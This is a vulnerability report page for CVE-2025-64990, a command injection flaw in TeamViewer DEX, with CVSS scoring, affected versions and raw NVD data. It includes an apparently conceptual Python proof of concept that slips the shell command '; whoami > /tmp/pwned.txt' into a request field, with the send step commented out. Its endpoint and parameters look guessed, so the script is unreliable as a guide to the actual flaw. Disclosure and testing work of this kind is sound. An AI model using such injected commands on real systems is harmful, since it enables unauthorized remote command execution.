Security Vulnerability Report
中文
CVE-2025-64990 CVSS 6.8 MEDIUM

CVE-2025-64990

Published: 2025-12-11 12:16:26
Last Modified: 2026-01-14 20:18:58

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-LogoffUser instruction prior V21.1. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE
TeamViewer DEX (1E DEX) < V21.1
1E-Explorer-TachyonCore-LogoffUser < V21.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64990 PoC - TeamViewer DEX Command Injection Note: This is a conceptual PoC for educational and security testing purposes only. """ import requests import json TARGET_HOST = "https://target-teamviewer-dex.example.com" API_ENDPOINT = f"{TARGET_HOST}/api/v1/instruction/execute" def create_malicious_payload(): """ Create malicious payload for LogoffUser instruction """ # Malicious command injection payload # The actual vulnerability allows injecting arbitrary commands malicious_command = "; whoami > /tmp/pwned.txt" payload = { "instruction": "1E-Explorer-TachyonCore-LogoffUser", "parameters": { "user_id": "target_user", "session_id": "12345", "device_id": "device_001", # Command injection point "options": malicious_command }, "auth": { "username": "attacker_actioner_account", "password": "compromised_password" } } return payload def exploit_cve(): """ Execute the exploit for CVE-2025-64990 """ print("[*] CVE-2025-64990 - TeamViewer DEX Command Injection") print("[*] Target: TeamViewer DEX < V21.1") payload = create_malicious_payload() # Note: This requires valid Actioner-level credentials headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_jwt_token>" } try: # Uncomment to execute actual attack (requires authorization) # response = requests.post(API_ENDPOINT, json=payload, headers=headers, verify=False) # print(f"[+] Response: {response.status_code}") # print(f"[+] Result: {response.text}") print("[-] PoC demonstration complete") print("[-] Note: Actual exploitation requires valid Actioner credentials") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit_cve()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64990", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.937", "lastModified": "2026-01-14T20:18:58.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-LogoffUser instruction prior V21.1. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.1", "matchCriteriaId": "724453BA-B90B-4250-93F4-06B38FB28925"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}